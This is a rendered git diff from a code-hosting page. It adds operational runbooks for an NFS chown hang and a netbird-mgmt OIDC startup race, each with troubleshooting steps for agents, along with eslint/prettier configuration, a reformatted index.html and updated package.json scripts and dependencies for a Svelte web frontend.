|
```
|
||||||
|
stat -c '%a %U:%G' /media/<mountpoint> # on a client
|
||||||
|
touch /media/<mountpoint>/.test && mv /media/<mountpoint>/.test /media/<mountpoint>/.moved && rm /media/<mountpoint>/.moved
|
||||||
|
```
|
||||||
|
|
||||||
|
## Detection signature (for agents)
|
||||||
|
|
||||||
|
A `run` call against a host that contains `chown|chgrp|chmod` of a path
|
||||||
|
exported by `nfs-kernel-server` AND the call times out → assume this runbook.
|
||||||
|
Don't retry the same command; run `strace -f <cmd>` (it will block at
|
||||||
|
`fchownat`) to confirm, then apply the procedure above.
|
||||||
|
|
||||||
|
## Caveats
|
||||||
|
|
||||||
|
- `exportfs -u` may emit a format-mismatch warning if the export was defined
|
||||||
|
via `/etc/exports` with a different option string than `exportfs -v`
|
||||||
|
reports. The unexport still succeeds; verify with `exportfs -v` afterward
|
||||||
|
that the path is gone, then re-add with `exportfs -a`.
|
||||||
|
- This applies to ANY mutating op on the exported dir (chown, chmod, rename,
|
||||||
|
rmdir of the root). Subdirectory mutations are fine as long as they don't
|
||||||
|
touch the exported root itself.
|
||||||
|
|
||||||
|
Recorded after session 1e9c7691 (2026-07-18) — 20+ retries of a
|
||||||
|
`chown :10000 /mnt/media_local` that hung for 30+ minutes before this
|
||||||
|
procedure was identified.
|
||||||
|
tags:
|
||||||
|
- runbook
|
||||||
|
- nfs
|
||||||
|
- knfsd
|
||||||
|
- gotcha
|
||||||
|
- slug: netbird-mgmt-oidc-race-after-upgrade
|
||||||
|
name: netbird-mgmt crash-loops after stack upgrade (OIDC race)
|
||||||
|
risk_class: reversible_low
|
||||||
|
entity_type: host
|
||||||
|
procedure: {}
|
||||||
|
content: |
|
||||||
|
---
|
||||||
|
name: netbird-mgmt-oidc-race-after-upgrade
|
||||||
|
risk_class: reversible_low
|
||||||
|
inputs: []
|
||||||
|
verification: "docker ps --filter name=netbird-mgmt --format '{{.Status}}' shows Up"
|
||||||
|
docs_update_checklist: [investigation_entry]
|
||||||
|
---
|
||||||
|
|
||||||
|
# netbird-mgmt crash-loops after stack upgrade (OIDC race)
|
||||||
|
|
||||||
|
Symptom: after a full-stack restart on `host:netbird-vps` (e.g. following an
|
||||||
|
apt upgrade that touched Docker, traefik, authentik, or the netbird
|
||||||
|
packages), `netbird-mgmt` enters a crash loop. `docker logs netbird-mgmt
|
||||||
|
--tail 30` shows repeated failed attempts to fetch OIDC config from
|
||||||
|
`auth.hubris.network` (connection refused / i/o timeout).
|
||||||
|
|
||||||
|
Root cause: startup ordering race. `netbird-mgmt` tries to fetch its OIDC
|
||||||
|
configuration from `auth.hubris.network` before traefik and authentik are
|
||||||
|
ready to serve. Connection refused → mgmt exits → docker restarts it →
|
||||||
|
same failure.
|
||||||
|
|
||||||
|
## Procedure
|
||||||
|
|
||||||
|
1. Confirm the race (not a real config breakage):
|
||||||
|
```
|
||||||
|
docker logs netbird-mgmt --tail 30 2>&1 | grep -E 'auth.hubris.network|OIDC|connection refused'
|
||||||
|
curl -fsS -o /dev/null -w '%{http_code}' https://auth.hubris.network/application/o/netbird/.well-known/openid-configuration
|
||||||
|
```
|
||||||
|
If the curl now returns 200, the race has already self-resolved — just restart mgmt.
|
||||||
|
2. Wait ~30s for traefik + authentik to finish coming up.
|
||||||
|
3. Restart just the management container:
|
||||||
|
```
|
||||||
|
docker restart netbird-mgmt
|
||||||
|
```
|
||||||
|
4. Verify:
|
||||||
|
```
|
||||||
|
docker ps --filter name=netbird-mgmt --format '{{.Names}} {{.Status}}'
|
||||||
|
docker logs netbird-mgmt --tail 10 2>&1 # should show clean startup, no OIDC errors
|
||||||
|
```
|
||||||
|
5. Check the rest of the stack is healthy too:
|
||||||
|
```
|
||||||
|
docker ps --format 'table {{.Names}}\t{{.Status}}'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Detection signature (for agents)
|
||||||
|
|
||||||
|
After a `run` that upgraded anything Docker/traefik/authentik/netbird on
|
||||||
|
`host:netbird-vps`, run `docker ps` and `docker logs netbird-mgmt --tail 30`.
|
||||||
|
If mgmt is Restarting + logs mention auth.hubris.network OIDC fetch failure,
|
||||||
|
apply this procedure before declaring the upgrade complete.
|
||||||
|
|
||||||
|
Recorded after session 2926de4e (2026-07-15) — 92-package apt upgrade on
|
||||||
|
netbird-vps; mgmt crash-loop caught and fixed with `docker restart
|
||||||
|
netbird-mgmt` after ~30s.
|
||||||
|
tags:
|
||||||
|
- runbook
|
||||||
|
- netbird
|
||||||
|
- docker
|
||||||
|
- gotcha
|
||||||
|
|||||||
4
web/.prettierignore
Normal file
4
web/.prettierignore
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
dist/
|
||||||
|
node_modules/
|
||||||
|
build/
|
||||||
|
package-lock.json
|
||||||
10
web/.prettierrc.json
Normal file
10
web/.prettierrc.json
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
{
|
||||||
|
"useTabs": false,
|
||||||
|
"tabWidth": 2,
|
||||||
|
"semi": false,
|
||||||
|
"singleQuote": true,
|
||||||
|
"trailingComma": "none",
|
||||||
|
"printWidth": 100,
|
||||||
|
"plugins": ["prettier-plugin-svelte"],
|
||||||
|
"overrides": [{ "files": "*.svelte", "options": { "parser": "svelte" } }]
|
||||||
|
}
|
||||||
39
web/eslint.config.js
Normal file
39
web/eslint.config.js
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
import js from '@eslint/js'
|
||||||
|
import ts from 'typescript-eslint'
|
||||||
|
import svelte from 'eslint-plugin-svelte'
|
||||||
|
import globals from 'globals'
|
||||||
|
|
||||||
|
export default ts.config(
|
||||||
|
js.configs.recommended,
|
||||||
|
...ts.configs.recommended,
|
||||||
|
...svelte.configs['flat/recommended'],
|
||||||
|
{
|
||||||
|
files: ['**/*.{ts,js,svelte}'],
|
||||||
|
languageOptions: {
|
||||||
|
globals: {
|
||||||
|
...globals.browser,
|
||||||
|
...globals.node
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
files: ['**/*.svelte'],
|
||||||
|
languageOptions: {
|
||||||
|
parserOptions: {
|
||||||
|
parser: ts.parser
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
ignores: ['dist/', 'node_modules/', 'build/', '*.config.{ts,js}']
|
||||||
|
},
|
||||||
|
{
|
||||||
|
rules: {
|
||||||
|
'@typescript-eslint/no-explicit-any': 'warn',
|
||||||
|
'@typescript-eslint/no-unused-vars': [
|
||||||
|
'error',
|
||||||
|
{ argsIgnorePattern: '^_', varsIgnorePattern: '^_' }
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
)
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
<!DOCTYPE html>
|
<!doctype html>
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8" />
|
<meta charset="UTF-8" />
|
||||||
@@ -6,7 +6,10 @@
|
|||||||
<title>Oikos</title>
|
<title>Oikos</title>
|
||||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||||
<link href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&family=DM+Mono:ital,wght@0,300;0,400;0,500;1,300;1,400;1,500&family=Inknut+Antiqua:wght@300;400;500;600;700&display=swap" rel="stylesheet" />
|
<link
|
||||||
|
href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&family=DM+Mono:ital,wght@0,300;0,400;0,500;1,300;1,400;1,500&family=Inknut+Antiqua:wght@300;400;500;600;700&display=swap"
|
||||||
|
rel="stylesheet"
|
||||||
|
/>
|
||||||
<link rel="icon" type="image/svg+xml" href="favicon.svg" />
|
<link rel="icon" type="image/svg+xml" href="favicon.svg" />
|
||||||
<link rel="apple-touch-icon" href="apple-touch-icon.png" />
|
<link rel="apple-touch-icon" href="apple-touch-icon.png" />
|
||||||
<link rel="icon" type="image/png" sizes="192x192" href="android-chrome-192.png" />
|
<link rel="icon" type="image/png" sizes="192x192" href="android-chrome-192.png" />
|
||||||
@@ -15,11 +18,20 @@
|
|||||||
<body>
|
<body>
|
||||||
<div id="app"></div>
|
<div id="app"></div>
|
||||||
<script>
|
<script>
|
||||||
(function(){try{var t=localStorage.getItem('oikos-theme');if(!t){t=window.matchMedia('(prefers-color-scheme:light)').matches?'light':'dark'}
|
;(function () {
|
||||||
if(t==='dark')document.documentElement.classList.add('dark')}catch(e){}})()
|
try {
|
||||||
|
var t = localStorage.getItem('oikos-theme')
|
||||||
|
if (!t) {
|
||||||
|
t = window.matchMedia('(prefers-color-scheme:light)').matches ? 'light' : 'dark'
|
||||||
|
}
|
||||||
|
if (t === 'dark') document.documentElement.classList.add('dark')
|
||||||
|
} catch (e) {}
|
||||||
|
})()
|
||||||
</script>
|
</script>
|
||||||
<script src="/wails/runtime.js"></script>
|
<script src="/wails/runtime.js"></script>
|
||||||
<script>window.__OIKOS_CONFIG__ = {};</script>
|
<script>
|
||||||
|
window.__OIKOS_CONFIG__ = {}
|
||||||
|
</script>
|
||||||
<script type="module" src="/src/main.ts"></script>
|
<script type="module" src="/src/main.ts"></script>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
4046
web/package-lock.json
generated
4046
web/package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@@ -6,29 +6,48 @@
|
|||||||
"scripts": {
|
"scripts": {
|
||||||
"dev": "vite",
|
"dev": "vite",
|
||||||
"build": "vite build",
|
"build": "vite build",
|
||||||
"preview": "vite preview"
|
"preview": "vite preview",
|
||||||
|
"check": "svelte-check --tsconfig ./tsconfig.json",
|
||||||
|
"typecheck": "tsc --noEmit",
|
||||||
|
"lint": "eslint .",
|
||||||
|
"lint:fix": "eslint . --fix",
|
||||||
|
"format": "prettier --write .",
|
||||||
|
"format:check": "prettier --check .",
|
||||||
|
"test": "vitest run",
|
||||||
|
"test:watch": "vitest"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@internationalized/date": "^3.12.2",
|
"@internationalized/date": "^3.12.2",
|
||||||
"@lucide/svelte": "^1.23.0",
|
"@lucide/svelte": "^1.25.0",
|
||||||
"@sveltejs/vite-plugin-svelte": "^5.0.0",
|
"@sveltejs/vite-plugin-svelte": "^5.0.0",
|
||||||
"@tailwindcss/vite": "^4.3.2",
|
"@tailwindcss/vite": "^4.3.2",
|
||||||
"@tsconfig/svelte": "^5.0.0",
|
"@tsconfig/svelte": "^5.0.0",
|
||||||
"@types/d3-force": "^3.0.10",
|
"@types/d3-force": "^3.0.10",
|
||||||
|
"@vincjo/datatables": "^2.8.1",
|
||||||
"bits-ui": "^2.18.1",
|
"bits-ui": "^2.18.1",
|
||||||
"mode-watcher": "^1.1.0",
|
"eslint": "^9.0.0",
|
||||||
|
"eslint-plugin-svelte": "^2.46.0",
|
||||||
|
"globals": "^15.0.0",
|
||||||
|
"jsdom": "^25.0.0",
|
||||||
|
"prettier": "^3.3.0",
|
||||||
|
"prettier-plugin-svelte": "^3.3.0",
|
||||||
"svelte": "^5.0.0",
|
"svelte": "^5.0.0",
|
||||||
|
"svelte-check": "^4.0.0",
|
||||||
"svelte-sonner": "^1.1.1",
|
"svelte-sonner": "^1.1.1",
|
||||||
"tailwind-variants": "^3.2.2",
|
"tailwind-variants": "^3.2.2",
|
||||||
"tailwindcss": "^4.3.2",
|
"tailwindcss": "^4.3.2",
|
||||||
"typescript": "^5.5.0",
|
"typescript": "^5.5.0",
|
||||||
"vite": "^6.0.0"
|
"typescript-eslint": "^8.0.0",
|
||||||
|
"vite": "^6.0.0",
|
||||||
|
"vitest": "^2.0.0"
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
|
"@surdeddd/wmkit": "^0.3.0",
|
||||||
"clsx": "^2.1.1",
|
"clsx": "^2.1.1",
|
||||||
"d3-force": "^3.0.0",
|
"d3-force": "^3.0.0",
|
||||||
"dompurify": "^3.4.11",
|
"dompurify": "^3.4.11",
|
||||||
"marked": "^18.0.5",
|
"marked": "^18.0.5",
|
||||||
|
"svelte-splitpanes": "^8.0.12",
|
||||||
"tailwind-merge": "^3.6.0",
|
"tailwind-merge": "^3.6.0",
|
||||||
"uplot": "^1.6.32"
|
"uplot": "^1.6.32"
|
||||||
}
|
}
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user